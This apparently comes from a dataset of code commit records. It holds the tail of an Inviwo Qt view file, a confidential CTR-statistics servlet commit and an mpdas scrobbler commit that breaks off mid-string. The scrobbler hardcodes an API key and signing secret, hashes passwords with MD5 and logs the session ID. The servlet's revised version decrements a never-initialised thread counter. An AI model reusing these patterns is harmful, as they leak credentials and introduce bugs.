oldPos;\n\n    QGraphicsView::translate(delta.x(), delta.y());\n}\n\nvoid NetworkEditorView::mouseDoubleClickEvent(QMouseEvent* e) {\n    QGraphicsView::mouseDoubleClickEvent(e);\n\n    if (!e->isAccepted()) {\n        fitNetwork();\n        e->accept();\n    }\n}\n\nvoid NetworkEditorView::resizeEvent(QResizeEvent* e) {\n    QGraphicsView::resizeEvent(e);\n}\n\nvoid NetworkEditorView::fitNetwork() {\n    const ProcessorNetwork* network = InviwoApplication::getPtr()->getProcessorNetwork();\n    if (network) {\n        if (network->getProcessors().size() > 0) {\n            QRectF br = networkEditor_->itemsBoundingRect().adjusted(-50, -50, 50, 50);\n            QSizeF viewsize = size();\n            QSizeF brsize = br.size();\n\n            if (brsize.width() < viewsize.width()) {\n                br.setLeft(br.left() - 0.5*(viewsize.width() - brsize.width()));\n                br.setRight(br.right() + 0.5*(viewsize.width() - brsize.width()));\n            }\n            if (brsize.height() < viewsize.height()) {\n                br.setTop(br.top() - 0.5*(viewsize.height() - brsize.height()));\n                br.setBottom(br.bottom() + 0.5*(viewsize.height() - brsize.height()));\n            }\n\n            setSceneRect(br);\n            fitInView(br, Qt::KeepAspectRatio);\n            zoom_ = transform().m11();\n        }\n    }\n}\n\nvoid NetworkEditorView::wheelEvent(QWheelEvent* e) {\n#if (QT_VERSION >= QT_VERSION_CHECK(5, 0, 0))\n    QPoint numPixels = e->pixelDelta();\n    QPoint numDegrees = e->angleDelta() \/ 8 \/ 15;\n#else\n    QPoint numPixels;\n    QPoint numDegrees = QPoint(0, e->delta() \/ 8 \/ 15);\n#endif\n    if (e->modifiers() == Qt::ControlModifier) {\n        if (!numPixels.isNull()) {\n            setZoom(zoom_ + static_cast<float>(numPixels.y()) \/ 50.0, e->pos());\n        } else if (!numDegrees.isNull()) {\n            setZoom(zoom_ + static_cast<float>(numDegrees.y()) \/ 10.0, e->pos());\n        }\n    } else {\n        QGraphicsView::wheelEvent(e);\n    }\n    e->accept();\n}\n\nvoid NetworkEditorView::onNetworkEditorFileChanged(const std::string& newFilename) {\n    fitNetwork();\n}\nvoid NetworkEditorView::onModifiedStatusChanged(const bool& newStatus) {}\n\n}  \/\/ namespace<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>\n *   All Rights Reserved.\n *\n * This file is CONFIDENTIAL -- Distribution or duplication of this material or\n * the information contained herein is strictly forbidden unless prior written\n * permission is obtained.\n *\/\n#include \"CTRByPositionServlet.h\"\n#include \"CTRCounter.h\"\n#include \"fnord-base\/Language.h\"\n#include \"fnord-base\/logging.h\"\n#include \"fnord-base\/wallclock.h\"\n#include \"fnord-base\/io\/fileutil.h\"\n#include \"analytics\/CTRByPositionQuery.h\"\n\nusing namespace fnord;\n\nnamespace cm {\n\nCTRByPositionServlet::CTRByPositionServlet(VFS* vfs) : vfs_(vfs) {}\n\nvoid CTRByPositionServlet::handleHTTPRequest(\n    http::HTTPRequest* req,\n    http::HTTPResponse* res) {\n  URI uri(req->uri());\n  const auto& params = uri.queryParams();\n\n  auto end_time = WallClock::unixMicros();\n  auto start_time = end_time - 30 * kMicrosPerDay;\n  Set<String> test_groups;\n  Set<String> device_types;\n\n  \/* arguments *\/\n  String customer;\n  if (!URI::getParam(params, \"customer\", &customer)) {\n    res->addBody(\"error: missing ?customer=... parameter\");\n    res->setStatus(http::kStatusBadRequest);\n    return;\n  }\n\n  String lang_str;\n  if (!URI::getParam(params, \"lang\", &lang_str)) {\n    res->addBody(\"error: missing ?lang=... parameter\");\n    res->setStatus(http::kStatusBadRequest);\n    return;\n  }\n\n  for (const auto& p : params) {\n    if (p.first == \"from\") {\n      start_time = std::stoul(p.second) * kMicrosPerSecond;\n      continue;\n    }\n\n    if (p.first == \"until\") {\n      end_time = std::stoul(p.second) * kMicrosPerSecond;\n      continue;\n    }\n\n    if (p.first == \"test_group\") {\n      test_groups.emplace(p.second);\n      continue;\n    }\n\n    if (p.first == \"device_type\") {\n      device_types.emplace(p.second);\n      continue;\n    }\n\n  }\n\n  if (test_groups.size() == 0) {\n    test_groups.emplace(\"all\");\n  }\n\n  if (device_types.size() == 0) {\n    device_types = Set<String> { \"unknown\", \"desktop\", \"tablet\", \"phone\" };\n  }\n\n\n  \/* execute query*\/\n  auto t0 = WallClock::unixMicros();\n\n  cm::CTRByPositionQueryResult result;\n  for (uint64_t i = end_time; i >= start_time; i -= kMicrosPerHour * 4) {\n    auto table_file = StringUtil::format(\n        \"\/srv\/cmdata\/artifacts\/$0_joined_sessions.$1.cstable\",\n        customer,\n        i \/ (kMicrosPerHour * 4));\n\n    if (!FileUtil::exists(table_file)) {\n      fnord::logWarning(\n          \"cm.ctrbypositionservlet\",\n          \"missing table: $0\",\n          table_file);\n\n      continue;\n    }\n\n    cstable::CSTableReader reader(table_file);\n    cm::AnalyticsQuery aq;\n    cm::CTRByPositionQuery q(&aq, &result);\n    aq.scanTable(&reader);\n  }\n\n  uint64_t total_views = 0;\n  uint64_t total_clicks = 0;\n\n  for (const auto& c : result.counters) {\n    total_views += c.second.num_views;\n    total_clicks += c.second.num_clicks;\n  }\n\n  auto t1 = WallClock::unixMicros();\n\n  \/* write response *\/\n  res->setStatus(http::kStatusOK);\n  res->addHeader(\"Content-Type\", \"application\/json; charset=utf-8\");\n  json::JSONOutputStream json(res->getBodyOutputStream());\n\n  json.beginObject();\n  json.addObjectEntry(\"rows_scanned\");\n  json.addInteger(result.rows_scanned);\n  json.addComma();\n  json.addObjectEntry(\"execution_time_ms\");\n  json.addFloat((t1 - t0) \/ 1000.0f);\n  json.addComma();\n  json.addObjectEntry(\"results\");\n  json.beginArray();\n\n  int n = 0;\n  for (const auto& c : result.counters) {\n    if (++n > 1) {\n      json.addComma();\n    }\n\n    json.beginObject();\n    json.addObjectEntry(\"position\");\n    json.addInteger(c.first);\n    json.addComma();\n    json.addObjectEntry(\"views\");\n    json.addInteger(c.second.num_views);\n    json.addComma();\n    json.addObjectEntry(\"clicks\");\n    json.addInteger(c.second.num_clicks);\n    json.addComma();\n    json.addObjectEntry(\"ctr\");\n    json.addFloat(c.second.num_clicks \/ (double) c.second.num_views);\n    json.addComma();\n    json.addObjectEntry(\"ctr_base\");\n    json.addFloat(c.second.num_clicks \/ (double) total_views);\n    json.addComma();\n    json.addObjectEntry(\"clickshare\");\n    json.addFloat(c.second.num_clicks \/ (double) total_clicks);\n    json.endObject();\n  }\n\n  json.endArray();\n  json.endObject();\n}\n\n}\n<commit_msg>CTRByPositionQuery...<commit_after>\/**\n * Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>\n *   All Rights Reserved.\n *\n * This file is CONFIDENTIAL -- Distribution or duplication of this material or\n * the information contained herein is strictly forbidden unless prior written\n * permission is obtained.\n *\/\n#include \"CTRByPositionServlet.h\"\n#include \"CTRCounter.h\"\n#include \"fnord-base\/Language.h\"\n#include \"fnord-base\/logging.h\"\n#include \"fnord-base\/wallclock.h\"\n#include \"fnord-base\/io\/fileutil.h\"\n#include \"analytics\/CTRByPositionQuery.h\"\n\nusing namespace fnord;\n\nnamespace cm {\n\nCTRByPositionServlet::CTRByPositionServlet(VFS* vfs) : vfs_(vfs) {}\n\nvoid CTRByPositionServlet::handleHTTPRequest(\n    http::HTTPRequest* req,\n    http::HTTPResponse* res) {\n  URI uri(req->uri());\n  const auto& params = uri.queryParams();\n\n  auto end_time = WallClock::unixMicros();\n  auto start_time = end_time - 30 * kMicrosPerDay;\n  Set<String> test_groups;\n  Set<String> device_types;\n\n  \/* arguments *\/\n  String customer;\n  if (!URI::getParam(params, \"customer\", &customer)) {\n    res->addBody(\"error: missing ?customer=... parameter\");\n    res->setStatus(http::kStatusBadRequest);\n    return;\n  }\n\n  String lang_str;\n  if (!URI::getParam(params, \"lang\", &lang_str)) {\n    res->addBody(\"error: missing ?lang=... parameter\");\n    res->setStatus(http::kStatusBadRequest);\n    return;\n  }\n\n  for (const auto& p : params) {\n    if (p.first == \"from\") {\n      start_time = std::stoul(p.second) * kMicrosPerSecond;\n      continue;\n    }\n\n    if (p.first == \"until\") {\n      end_time = std::stoul(p.second) * kMicrosPerSecond;\n      continue;\n    }\n\n    if (p.first == \"test_group\") {\n      test_groups.emplace(p.second);\n      continue;\n    }\n\n    if (p.first == \"device_type\") {\n      device_types.emplace(p.second);\n      continue;\n    }\n\n  }\n\n  if (test_groups.size() == 0) {\n    test_groups.emplace(\"all\");\n  }\n\n  if (device_types.size() == 0) {\n    device_types = Set<String> { \"unknown\", \"desktop\", \"tablet\", \"phone\" };\n  }\n\n\n  \/* execute query*\/\n  auto t0 = WallClock::unixMicros();\n\n  cm::CTRByPositionQueryResult result;\n  std::mutex mutex;\n  size_t num_threads;\n  std::condition_variable cv;\n\n  for (uint64_t i = end_time; i >= start_time; i -= kMicrosPerHour * 4) {\n    auto table_file = StringUtil::format(\n        \"\/srv\/cmdata\/artifacts\/$0_joined_sessions.$1.cstable\",\n        customer,\n        i \/ (kMicrosPerHour * 4));\n\n    if (!FileUtil::exists(table_file)) {\n      fnord::logWarning(\n          \"cm.ctrbypositionservlet\",\n          \"missing table: $0\",\n          table_file);\n\n      continue;\n    }\n\n    cstable::CSTableReader reader(table_file);\n    cm::AnalyticsQuery aq;\n    cm::CTRByPositionQueryResult r;\n    cm::CTRByPositionQuery q(&aq, &r);\n    aq.scanTable(&reader);\n\n    std::unique_lock<std::mutex> lk(mutex);\n    result.merge(r);\n    --num_threads;\n    lk.unlock();\n  }\n\n  uint64_t total_views = 0;\n  uint64_t total_clicks = 0;\n\n  for (const auto& c : result.counters) {\n    total_views += c.second.num_views;\n    total_clicks += c.second.num_clicks;\n  }\n\n  auto t1 = WallClock::unixMicros();\n\n  \/* write response *\/\n  res->setStatus(http::kStatusOK);\n  res->addHeader(\"Content-Type\", \"application\/json; charset=utf-8\");\n  json::JSONOutputStream json(res->getBodyOutputStream());\n\n  json.beginObject();\n  json.addObjectEntry(\"rows_scanned\");\n  json.addInteger(result.rows_scanned);\n  json.addComma();\n  json.addObjectEntry(\"execution_time_ms\");\n  json.addFloat((t1 - t0) \/ 1000.0f);\n  json.addComma();\n  json.addObjectEntry(\"results\");\n  json.beginArray();\n\n  int n = 0;\n  for (const auto& c : result.counters) {\n    if (++n > 1) {\n      json.addComma();\n    }\n\n    json.beginObject();\n    json.addObjectEntry(\"position\");\n    json.addInteger(c.first);\n    json.addComma();\n    json.addObjectEntry(\"views\");\n    json.addInteger(c.second.num_views);\n    json.addComma();\n    json.addObjectEntry(\"clicks\");\n    json.addInteger(c.second.num_clicks);\n    json.addComma();\n    json.addObjectEntry(\"ctr\");\n    json.addFloat(c.second.num_clicks \/ (double) c.second.num_views);\n    json.addComma();\n    json.addObjectEntry(\"ctr_base\");\n    json.addFloat(c.second.num_clicks \/ (double) total_views);\n    json.addComma();\n    json.addObjectEntry(\"clickshare\");\n    json.addFloat(c.second.num_clicks \/ (double) total_clicks);\n    json.endObject();\n  }\n\n  json.endArray();\n  json.endObject();\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"mpdas.h\"\n\n#define APIKEY\t\t\"a0ed2629d3d28606f67d7214c916788d\"\n#define\tSECRET\t\t\"295f31c5d28215215b1503fb0327cc01\"\n#define CURL_MAX_RETRIES 3\n#define CURL_RETRY_DELAY 3 \/\/ Seconds\n\nCAudioScrobbler* AudioScrobbler = 0;\n\n#define CLEANUP()\t_response.clear()\n\nsize_t writecb(void* ptr, size_t size, size_t nmemb, void *stream)\n{\n    AudioScrobbler->ReportResponse((char*)ptr, size*nmemb);\n    return size*nmemb;\n}\n\nCAudioScrobbler::CAudioScrobbler()\n{\n    _failcount = 0;\n    _authed = false;\n    _response = \"\";\n    _handle = curl_easy_init();\n    if(!_handle) {\n\teprintf(\"%s\", \"Could not initialize CURL.\");\n\texit(EXIT_FAILURE);\n    }\n}\n\nCAudioScrobbler::~CAudioScrobbler()\n{\n    curl_easy_cleanup(_handle);\n    curl_global_cleanup();\n}\n\nstd::string CAudioScrobbler::GetServiceURL()\n{\n    if(Config->getService() == LibreFm) {\n\treturn \"https:\/\/libre.fm\/2.0\/\";\n    }\n    return \"http:\/\/ws.audioscrobbler.com\/2.0\/\";\n}\n\nvoid CAudioScrobbler::OpenURL(std::string url, const char* postfields = 0, char* errbuf = 0)\n{\n    curl_easy_setopt(_handle, CURLOPT_DNS_CACHE_TIMEOUT, 0);\n    curl_easy_setopt(_handle, CURLOPT_NOPROGRESS, 1);\n    curl_easy_setopt(_handle, CURLOPT_WRITEFUNCTION, writecb);\n    curl_easy_setopt(_handle, CURLOPT_TIMEOUT, 10);\n\n    if(postfields) {\n\tcurl_easy_setopt(_handle, CURLOPT_POST, 1);\n\tcurl_easy_setopt(_handle, CURLOPT_POSTFIELDS, postfields);\n    }\n    else\n\tcurl_easy_setopt(_handle, CURLOPT_POST, 0);\n    if(errbuf)\n\tcurl_easy_setopt(_handle, CURLOPT_ERRORBUFFER, errbuf);\n\n    curl_easy_setopt(_handle, CURLOPT_URL, url.c_str());\n    CURLcode res = curl_easy_perform(_handle);\n\n    \/\/ Sometimes last.fm likes to just timeout for no reason, leaving us hanging.\n    \/\/ If this happens, retry a few times with a small delay.\n    if (res != CURLE_OK) {\n        eprintf(\"libcurl: (%d)\", res);\n        eprintf(\"%s\", curl_easy_strerror(res));\n        eprintf(\"Will retry %d times with a %d second delay.\", CURL_MAX_RETRIES, CURL_RETRY_DELAY);\n\n        int retries = 0;\n        do {\n            sleep(CURL_RETRY_DELAY);\n            retries++;\n            eprintf(\"Retry %d\/%d\", retries, CURL_MAX_RETRIES);\n            res = curl_easy_perform(_handle);\n        } while (res != CURLE_OK && retries < CURL_MAX_RETRIES);\n\n        eprintf(\"Failed after %d retries, try again later.\", CURL_MAX_RETRIES);\n    }\n}\n\n\nvoid CAudioScrobbler::ReportResponse(char* buf, size_t size)\n{\n    _response.append(buf);\n}\n\nstd::string CAudioScrobbler::CreateScrobbleMessage(int index, const CacheEntry& entry)\n{\n    const Song& song = entry.getSong();\n    std::ostringstream msg, sigmsg ;\n    std::string artist, title, album, array = \"=\";\n\n    char* temp = 0;\n    temp = curl_easy_escape(_handle, song.getArtist().c_str(), song.getArtist().length());\n    artist = temp;\n    curl_free(temp);\n    temp = curl_easy_escape(_handle, song.getTitle().c_str(), song.getTitle().length());\n    title = temp;\n    curl_free(temp);\n    temp = curl_easy_escape(_handle, song.getAlbum().c_str(), song.getAlbum().length());\n    album = temp;\n    curl_free(temp);\n\n    msg << \"&album\" << array << album;\n    msg << \"&api_key=\" << APIKEY;\n    msg << \"&artist\" << array << artist;\n    msg << \"&duration\" << array << song.getDuration();\n    msg << \"&method=track.Scrobble\";\n    msg << \"&timestamp\" << array << entry.getStartTime();\n    msg << \"&track\" << array << title;\n    msg << \"&sk=\" << _sessionid;\n\n    array = \"\";\n\n    sigmsg << \"album\" << array << song.getAlbum();\n    sigmsg << \"api_key\" << APIKEY;\n    sigmsg << \"artist\" << array << song.getArtist();\n    sigmsg << \"duration\" << array << song.getDuration();\n    sigmsg << \"methodtrack.Scrobble\";\n    sigmsg << \"sk\" << _sessionid;\n    sigmsg << \"timestamp\" << array << entry.getStartTime();\n    sigmsg << \"track\" << array << song.getTitle();\n    sigmsg << SECRET;\n\n    std::string sighash(md5sum((char*)\"%s\", sigmsg.str().c_str()));\n    msg << \"&api_sig=\" << sighash;\n\n    return msg.str();\n}\n\nvoid CAudioScrobbler::Failure()\n{\n    _failcount += 1;\n    if(_failcount >= 3) {\n\teprintf(\"%s\", \"Re-Handshaking!\");\n\t_failcount = 0;\n\tHandshake();\n    }\n}\n\nbool CAudioScrobbler::CheckFailure(std::string response)\n{\n    bool retval = false;\n\n    size_t start, end;\n    start = _response.find(\"<error code=\\\"\")+13;\n    end = _response.find(\">\", start)-1;\n    std::string errorcode = _response.substr(start, end-start);\n    int code = strtol(errorcode.c_str(), 0, 10);\n\n    eprintf(\"%s%i\", \"Code: \", code);\n\n    switch(code) {\n\tcase 3:\n\t    eprintf(\"Invalid Method. This should not happen.\");\n\t    retval = true;\n\t    break;\n\tcase 4:\n\t    eprintf(\"Authentication failed. Please check your login data.\");\n\t    exit(EXIT_FAILURE);\n\tcase 9:\n\t    eprintf(\"Invalid session key. Re-authenticating.\");\n\t    retval = true;\n\t    _failcount = 3;\n\t    break;\n\tcase 10:\n\t    eprintf(\"Invalid API-Key. Let's bugger off.\");\n\t    exit(EXIT_FAILURE);\n\tcase 16:\n\t    eprintf(\"The service is temporarily unavailable, we will try again later..\");\n\t    retval = true;\n\t    break;\n\tcase 26:\n\t    eprintf(\"Uh oh. Suspended API key - Access for your account has been suspended, please contact Last.fm\");\n\t    exit(EXIT_FAILURE);\n    }\n\n    return retval;\n}\n\nbool CAudioScrobbler::Scrobble(const CacheEntry& entry)\n{\n    bool retval = false;\n    if(!_authed) {\n\teprintf(\"Handshake hasn't been done yet.\");\n\tHandshake();\n\treturn retval;\n    }\n    iprintf(\"Scrobbling: %s - %s\", entry.getSong().getArtist().c_str(), entry.getSong().getTitle().c_str());\n\n    OpenURL(GetServiceURL(), CreateScrobbleMessage(0, entry).c_str());\n    if(_response.find(\"<lfm status=\\\"ok\\\">\") != std::string::npos) {\n\tiprintf(\"%s\", \"Scrobbled successfully.\");\n\tretval = true;\n    }\n    else if(_response.find(\"<lfm status=\\\"failed\\\">\") != std::string::npos) {\n\teprintf(\"%s%s\", \"Last.fm returned an error while scrobbling:\\n\", _response.c_str());\n\tif(CheckFailure(_response))\n\t    Failure();\n    }\n    CLEANUP();\n\n    return retval;\n}\n\nbool CAudioScrobbler::LoveTrack(const Song& song, bool unlove)\n{\n    bool retval = false;\n\n    char* artist = curl_easy_escape(_handle, song.getArtist().c_str(), 0);\n    char* title = curl_easy_escape(_handle, song.getTitle().c_str(), 0);\n\n    std::ostringstream query, sig;\n    query << (unlove ? \"method=track.unlove&\" : \"method=track.love&\")\n\t<< \"&track=\" << title\n\t<< \"&artist=\" << artist\n\t<< \"&api_key=\" << APIKEY\n\t<< \"&sk=\" << _sessionid;\n\n    curl_free(artist);\n    curl_free(title);\n\n    sig << \"api_key\" << APIKEY\n\t<< \"artist\" << song.getArtist()\n\t<< \"method\" << (unlove ? \"track.unlove\" : \"track.love\")\n\t<< \"sk\" << _sessionid\n\t<< \"track\" << song.getTitle()\n\t<< SECRET;\n\n    std::string sighash(md5sum((char*)\"%s\", sig.str().c_str()));\n\n    query << \"&api_sig=\" << sighash;\n\n    OpenURL(GetServiceURL(), query.str().c_str());\n\n    if(_response.find(\"<lfm status=\\\"ok\\\">\") != std::string::npos) {\n\tiprintf(\"%s\", \"(Un)loved track successfully.\");\n\tretval = true;\n    }\n    else if(_response.find(\"<lfm status=\\\"failed\\\">\") != std::string::npos) {\n\teprintf(\"%s%s\", \"Last.fm returned an error while (un)loving the currently playing track:\\n\", _response.c_str());\n\tif(CheckFailure(_response))\n\t    Failure();\n    }\n\n    CLEANUP();\n    return retval;\n}\n\nbool CAudioScrobbler::SendNowPlaying(const Song& song)\n{\n    bool retval = false;\n\n    char* artist = curl_easy_escape(_handle, song.getArtist().c_str(), 0);\n    char* title = curl_easy_escape(_handle, song.getTitle().c_str(), 0);\n    char* album = song.getAlbum().empty() ? 0 : curl_easy_escape(_handle, song.getAlbum().c_str(), 0);\n\n    std::ostringstream query, sig;\n    query << \"method=track.updateNowPlaying&track=\" << title\n\t<< \"&artist=\" << artist\n\t<< \"&duration=\" << song.getDuration()\n\t<< \"&api_key=\" << APIKEY\n\t<< \"&sk=\" << _sessionid;\n    if(album) {\n\tquery << \"&album=\" << album;\n\tsig << \"album\" << song.getAlbum();\n    }\n\n    curl_free(artist);\n    curl_free(title);\n    curl_free(album);\n\n    sig << \"api_key\" << APIKEY\n\t<< \"artist\" << song.getArtist()\n\t<< \"duration\" << song.getDuration()\n\t<< \"methodtrack.updateNowPlaying\"\n\t<< \"sk\" << _sessionid\n\t<< \"track\" << song.getTitle()\n\t<< SECRET;\n\n    std::string sighash(md5sum((char*)\"%s\", sig.str().c_str()));\n\n    query << \"&api_sig=\" << sighash;\n\n    OpenURL(GetServiceURL(), query.str().c_str());\n\n    if(_response.find(\"<lfm status=\\\"ok\\\">\") != std::string::npos) {\n\tiprintf(\"%s\", \"Updated \\\"Now Playing\\\" status successfully.\");\n\tretval = true;\n    }\n    else if(_response.find(\"<lfm status=\\\"failed\\\">\") != std::string::npos) {\n\teprintf(\"%s%s\", \"Last.fm returned an error while updating the currently playing track:\\n\", _response.c_str());\n\tif(CheckFailure(_response))\n\t    Failure();\n    }\n\n    CLEANUP();\n    return retval;\n}\n\nvoid CAudioScrobbler::Handshake()\n{\n    std::string username=\"\";\n    for(unsigned int i = 0; i < Config->getLUsername().length(); i++) {\n\tusername.append(1, tolower(Config->getLUsername().c_str()[i]));\n    }\n    std::string authtoken(md5sum((char*)\"%s%s\", username.c_str(), Config->getLPassword().c_str()));\n\n    std::ostringstream query, sig;\n    query << \"method=auth.getMobileSession&username=\" << username << \"&authToken=\" << authtoken << \"&api_key=\" << APIKEY;\n\n    sig << \"api_key\" << APIKEY << \"authToken\" << authtoken << \"methodauth.getMobileSessionusername\" << username << SECRET;\n    std::string sighash(md5sum((char*)\"%s\", sig.str().c_str()));\n\n    query << \"&api_sig=\" << sighash;\n\n    OpenURL(GetServiceURL(), query.str().c_str());\n\n    if(_response.find(\"<lfm status=\\\"ok\\\">\") != std::string::npos) {\n\tsize_t start, end;\n\tstart = _response.find(\"<key>\") + 5;\n\tend = _response.find(\"<\/key>\");\n\t_sessionid = _response.substr(start, end-start);\n\tiprintf(\"%s%s\", \"Last.fm handshake successful. SessionID: \", _sessionid.c_str());\n\t_authed = true;\n    }\n    else if(_response.find(\"<lfm status=\\\"failed\\\">\") != std::string::npos) {\n\tCheckFailure(_response);\n\texit(EXIT_FAILURE);\n    }\n\n    CLEANUP();\n}\n<commit_msg>Don't unconditially error<commit_after>#include \"mpdas.h\"\n\n#define APIKEY\t\t\"a0ed2629d3d28606f67d7214c916788d\"\n#define\tSECRET\t\t\"295f31c5d28215215b1503fb0327cc01\"\n#define CURL_MAX_RETRIES 3\n#define CURL_RETRY_DELAY 3 \/\/ Seconds\n\nCAudioScrobbler* AudioScrobbler = 0;\n\n#define CLEANUP()\t_response.clear()\n\nsize_t writecb(void* ptr, size_t size, size_t nmemb, void *stream)\n{\n    AudioScrobbler->ReportResponse((char*)ptr, size*nmemb);\n    return size*nmemb;\n}\n\nCAudioScrobbler::CAudioScrobbler()\n{\n    _failcount = 0;\n    _authed = false;\n    _response = \"\";\n    _handle = curl_easy_init();\n    if(!_handle) {\n\teprintf(\"%s\", \"Could not initialize CURL.\");\n\texit(EXIT_FAILURE);\n    }\n}\n\nCAudioScrobbler::~CAudioScrobbler()\n{\n    curl_easy_cleanup(_handle);\n    curl_global_cleanup();\n}\n\nstd::string CAudioScrobbler::GetServiceURL()\n{\n    if(Config->getService() == LibreFm) {\n\treturn \"https:\/\/libre.fm\/2.0\/\";\n    }\n    return \"http:\/\/ws.audioscrobbler.com\/2.0\/\";\n}\n\nvoid CAudioScrobbler::OpenURL(std::string url, const char* postfields = 0, char* errbuf = 0)\n{\n    curl_easy_setopt(_handle, CURLOPT_DNS_CACHE_TIMEOUT, 0);\n    curl_easy_setopt(_handle, CURLOPT_NOPROGRESS, 1);\n    curl_easy_setopt(_handle, CURLOPT_WRITEFUNCTION, writecb);\n    curl_easy_setopt(_handle, CURLOPT_TIMEOUT, 10);\n\n    if(postfields) {\n\tcurl_easy_setopt(_handle, CURLOPT_POST, 1);\n\tcurl_easy_setopt(_handle, CURLOPT_POSTFIELDS, postfields);\n    }\n    else\n\tcurl_easy_setopt(_handle, CURLOPT_POST, 0);\n    if(errbuf)\n\tcurl_easy_setopt(_handle, CURLOPT_ERRORBUFFER, errbuf);\n\n    curl_easy_setopt(_handle, CURLOPT_URL, url.c_str());\n    CURLcode res = curl_easy_perform(_handle);\n\n    \/\/ Sometimes last.fm likes to just timeout for no reason, leaving us hanging.\n    \/\/ If this happens, retry a few times with a small delay.\n    if (res != CURLE_OK) {\n        eprintf(\"libcurl: (%d)\", res);\n        eprintf(\"%s\", curl_easy_strerror(res));\n        eprintf(\"Will retry %d times with a %d second delay.\", CURL_MAX_RETRIES, CURL_RETRY_DELAY);\n\n        int retries = 0;\n        do {\n            sleep(CURL_RETRY_DELAY);\n            retries++;\n            eprintf(\"Retry %d\/%d\", retries, CURL_MAX_RETRIES);\n            res = curl_easy_perform(_handle);\n        } while (res != CURLE_OK && retries < CURL_MAX_RETRIES);\n\n        \/\/ Still failing?\n        if (res != CURLE_OK) {\n            eprintf(\"Failed after %d retries, try again later.\", CURL_MAX_RETRIES);\n        }\n    }\n}\n\n\nvoid CAudioScrobbler::ReportResponse(char* buf, size_t size)\n{\n    _response.append(buf);\n}\n\nstd::string CAudioScrobbler::CreateScrobbleMessage(int index, const CacheEntry& entry)\n{\n    const Song& song = entry.getSong();\n    std::ostringstream msg, sigmsg ;\n    std::string artist, title, album, array = \"=\";\n\n    char* temp = 0;\n    temp = curl_easy_escape(_handle, song.getArtist().c_str(), song.getArtist().length());\n    artist = temp;\n    curl_free(temp);\n    temp = curl_easy_escape(_handle, song.getTitle().c_str(), song.getTitle().length());\n    title = temp;\n    curl_free(temp);\n    temp = curl_easy_escape(_handle, song.getAlbum().c_str(), song.getAlbum().length());\n    album = temp;\n    curl_free(temp);\n\n    msg << \"&album\" << array << album;\n    msg << \"&api_key=\" << APIKEY;\n    msg << \"&artist\" << array << artist;\n    msg << \"&duration\" << array << song.getDuration();\n    msg << \"&method=track.Scrobble\";\n    msg << \"&timestamp\" << array << entry.getStartTime();\n    msg << \"&track\" << array << title;\n    msg << \"&sk=\" << _sessionid;\n\n    array = \"\";\n\n    sigmsg << \"album\" << array << song.getAlbum();\n    sigmsg << \"api_key\" << APIKEY;\n    sigmsg << \"artist\" << array << song.getArtist();\n    sigmsg << \"duration\" << array << song.getDuration();\n    sigmsg << \"methodtrack.Scrobble\";\n    sigmsg << \"sk\" << _sessionid;\n    sigmsg << \"timestamp\" << array << entry.getStartTime();\n    sigmsg << \"track\" << array << song.getTitle();\n    sigmsg << SECRET;\n\n    std::string sighash(md5sum((char*)\"%s\", sigmsg.str().c_str()));\n    msg << \"&api_sig=\" << sighash;\n\n    return msg.str();\n}\n\nvoid CAudioScrobbler::Failure()\n{\n    _failcount += 1;\n    if(_failcount >= 3) {\n\teprintf(\"%s\", \"Re-Handshaking!\");\n\t_failcount = 0;\n\tHandshake();\n    }\n}\n\nbool CAudioScrobbler::CheckFailure(std::string response)\n{\n    bool retval = false;\n\n    size_t start, end;\n    start = _response.find(\"<error code=\\\"\")+13;\n    end = _response.find(\">\", start)-1;\n    std::string errorcode = _response.substr(start, end-start);\n    int code = strtol(errorcode.c_str(), 0, 10);\n\n    eprintf(\"%s%i\", \"Code: \", code);\n\n    switch(code) {\n\tcase 3:\n\t    eprintf(\"Invalid Method. This should not happen.\");\n\t    retval = true;\n\t    break;\n\tcase 4:\n\t    eprintf(\"Authentication failed. Please check your login data.\");\n\t    exit(EXIT_FAILURE);\n\tcase 9:\n\t    eprintf(\"Invalid session key. Re-authenticating.\");\n\t    retval = true;\n\t    _failcount = 3;\n\t    break;\n\tcase 10:\n\t    eprintf(\"Invalid API-Key. Let's bugger off.\");\n\t    exit(EXIT_FAILURE);\n\tcase 16:\n\t    eprintf(\"The service is temporarily unavailable, we will try again later..\");\n\t    retval = true;\n\t    break;\n\tcase 26:\n\t    eprintf(\"Uh oh. Suspended API key - Access for your account has been suspended, please contact Last.fm\");\n\t    exit(EXIT_FAILURE);\n    }\n\n    return retval;\n}\n\nbool CAudioScrobbler::Scrobble(const CacheEntry& entry)\n{\n    bool retval = false;\n    if(!_authed) {\n\teprintf(\"Handshake hasn't been done yet.\");\n\tHandshake();\n\treturn retval;\n    }\n    iprintf(\"Scrobbling: %s - %s\", entry.getSong().getArtist().c_str(), entry.getSong().getTitle().c_str());\n\n    OpenURL(GetServiceURL(), CreateScrobbleMessage(0, entry).c_str());\n    if(_response.find(\"<lfm status=\\\"ok\\\">\") != std::string::npos) {\n\tiprintf(\"%s\", \"Scrobbled successfully.\");\n\tretval = true;\n    }\n    else if(_response.find(\"<lfm status=\\\"failed\\\">\") != std::string::npos) {\n\teprintf(\"%s%s\", \"Last.fm returned an error while scrobbling:\\n\", _response.c_str());\n\tif(CheckFailure(_response))\n\t    Failure();\n    }\n    CLEANUP();\n\n    return retval;\n}\n\nbool CAudioScrobbler::LoveTrack(const Song& song, bool unlove)\n{\n    bool retval = false;\n\n    char* artist = curl_easy_escape(_handle, song.getArtist().c_str(), 0);\n    char* title = curl_easy_escape(_handle, song.getTitle().c_str(), 0);\n\n    std::ostringstream query, sig;\n    query << (unlove ? \"method=track.unlove&\" : \"method=track.love&\")\n\t<< \"&track=\" << title\n\t<< \"&artist=\" << artist\n\t<< \"&api_key=\" << APIKEY\n\t<< \"&sk=\" << _sessionid;\n\n    curl_free(artist);\n    curl_free(title);\n\n    sig << \"api_key\" << APIKEY\n\t<< \"artist\" << song.getArtist()\n\t<< \"method\" << (unlove ? \"track.unlove\" : \"track.love\")\n\t<< \"sk\" << _sessionid\n\t<< \"track\" << song.getTitle()\n\t<< SECRET;\n\n    std::string sighash(md5sum((char*)\"%s\", sig.str().c_str()));\n\n    query << \"&api_sig=\" << sighash;\n\n    OpenURL(GetServiceURL(), query.str().c_str());\n\n    if(_response.find(\"<lfm status=\\\"ok\\\">\") != std::string::npos) {\n\tiprintf(\"%s\", \"(Un)loved track successfully.\");\n\tretval = true;\n    }\n    else if(_response.find(\"<lfm 